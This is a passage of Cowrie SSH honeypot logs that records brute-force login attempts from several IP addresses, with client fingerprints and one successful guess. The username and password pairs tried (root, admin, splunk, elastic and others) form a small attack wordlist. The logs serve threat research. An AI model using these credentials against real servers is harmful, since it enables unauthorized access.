af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:27:49.238099Z","src_ip":"79.116.23.158","session":"5df067fcbe3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apache","password":"apache","message":"login attempt [apache/apache] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:27:49.351213Z","src_ip":"176.65.139.95","session":"1143d9c95f34","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:27:49.704660Z","src_ip":"79.116.23.158","session":"5df067fcbe3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:27:49.818245Z","src_ip":"79.116.23.158","session":"7272fc2ec2cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:27:49.822950Z","src_ip":"79.116.23.158","session":"5df067fcbe3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:27:50.441714Z","src_ip":"176.65.139.95","session":"1143d9c95f34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54466,"dst_ip":"159.203.135.109","dst_port":22,"session":"b8eb67d97e8f","protocol":"ssh","message":"New connection: 159.203.92.129:54466 (159.203.135.109:22) [session: b8eb67d97e8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:27:51.180721Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:27:51.189701Z","src_ip":"159.203.92.129","session":"b8eb67d97e8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:27:51.195187Z","src_ip":"159.203.92.129","session":"b8eb67d97e8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Fank","password":"Fank123","message":"login attempt [Fank/Fank123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:27:51.208316Z","src_ip":"159.203.92.129","session":"b8eb67d97e8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:27:52.215578Z","src_ip":"159.203.92.129","session":"b8eb67d97e8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":55286,"dst_ip":"159.203.135.109","dst_port":22,"session":"72ebaa6d8fad","protocol":"ssh","message":"New connection: 176.65.139.95:55286 (159.203.135.109:22) [session: 72ebaa6d8fad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:27:54.968543Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:27:55.003587Z","src_ip":"176.65.139.95","session":"72ebaa6d8fad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:27:55.059719Z","src_ip":"176.65.139.95","session":"72ebaa6d8fad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123","message":"login attempt [root/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:27:55.442032Z","src_ip":"176.65.139.95","session":"72ebaa6d8fad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:27:56.527037Z","src_ip":"176.65.139.95","session":"72ebaa6d8fad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":38956,"dst_ip":"159.203.135.109","dst_port":22,"session":"271674ffe300","protocol":"ssh","message":"New connection: 176.65.139.95:38956 (159.203.135.109:22) [session: 271674ffe300]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:28:01.346699Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:28:01.351982Z","src_ip":"176.65.139.95","session":"271674ffe300","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:28:01.438293Z","src_ip":"176.65.139.95","session":"271674ffe300","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r","message":"login attempt [root/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:28:01.726592Z","src_ip":"176.65.139.95","session":"271674ffe300","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:28:02.812178Z","src_ip":"176.65.139.95","session":"271674ffe300","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":38972,"dst_ip":"159.203.135.109","dst_port":22,"session":"7bd4fe0043a3","protocol":"ssh","message":"New connection: 176.65.139.95:38972 (159.203.135.109:22) [session: 7bd4fe0043a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:28:07.830132Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:28:07.835032Z","src_ip":"176.65.139.95","session":"7bd4fe0043a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:28:07.945102Z","src_ip":"176.65.139.95","session":"7bd4fe0043a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ2wsx","message":"login attempt [root/!QAZ2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:28:08.240172Z","src_ip":"176.65.139.95","session":"7bd4fe0043a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:28:09.351761Z","src_ip":"176.65.139.95","session":"7bd4fe0043a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":55520,"dst_ip":"159.203.135.109","dst_port":22,"session":"db2c3941377d","protocol":"ssh","message":"New connection: 176.65.139.95:55520 (159.203.135.109:22) [session: db2c3941377d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:28:14.212103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:28:14.216762Z","src_ip":"176.65.139.95","session":"db2c3941377d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:28:14.314348Z","src_ip":"176.65.139.95","session":"db2c3941377d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"splunk","password":"splunk","message":"login attempt [splunk/splunk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:28:14.697795Z","src_ip":"176.65.139.95","session":"db2c3941377d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:28:15.989679Z","src_ip":"176.65.139.95","session":"db2c3941377d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":55622,"dst_ip":"159.203.135.109","dst_port":22,"session":"c03097bb35e2","protocol":"ssh","message":"New connection: 176.65.139.95:55622 (159.203.135.109:22) [session: c03097bb35e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:28:20.557711Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:28:20.577864Z","src_ip":"176.65.139.95","session":"c03097bb35e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:28:20.692058Z","src_ip":"176.65.139.95","session":"c03097bb35e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"elastic","message":"login attempt [elastic/elastic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:28:21.297145Z","src_ip":"176.65.139.95","session":"c03097bb35e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":20893,"dst_ip":"159.203.135.109","dst_port":22,"session":"1e6b97617347","protocol":"ssh","message":"New connection: 2.57.121.112:20893 (159.203.135.109:22) [session: 1e6b97617347]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:28:21.536408Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:28:21.540697Z","src_ip":"2.57.121.112","session":"1e6b97617347","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:28:21.644743Z","src_ip":"2.57.121.112","session":"1e6b97617347","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"20041974","message":"login attempt [admin/20041974] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:28:22.135948Z","src_ip":"2.57.121.112","session":"1e6b97617347","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:28:22.391566Z","src_ip":"176.65.139.95","session":"c03097bb35e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"200382","message":"login attempt [admin/200382] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:28:23.243910Z","src_ip":"2.57.121.112","session":"1e6b97617347","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"20031997","message":"login attempt [admin/20031997] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:28:24.352608Z","src_ip":"2.57.121.112","session":"1e6b97617347","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"200283","message":"login attempt [admin/200283] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:28:25.460827Z","src_ip":"2.57.121.112","session":"1e6b97617347","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"20022004","message":"login attempt [admin/20022004] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:28:26.568372Z","src_ip":"2.57.121.112","session":"1e6b97617347","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":55630,"dst_ip":"159.203.135.109","dst_port":22,"session":"cd17ceddf676","protocol":"ssh","message":"New connection: 176.65.139.95:55630 (159.203.135.109:22) [session: cd17ceddf676]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:28:27.226248Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:28:27.262386Z","src_ip":"176.65.139.95","session":"cd17ceddf676","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","s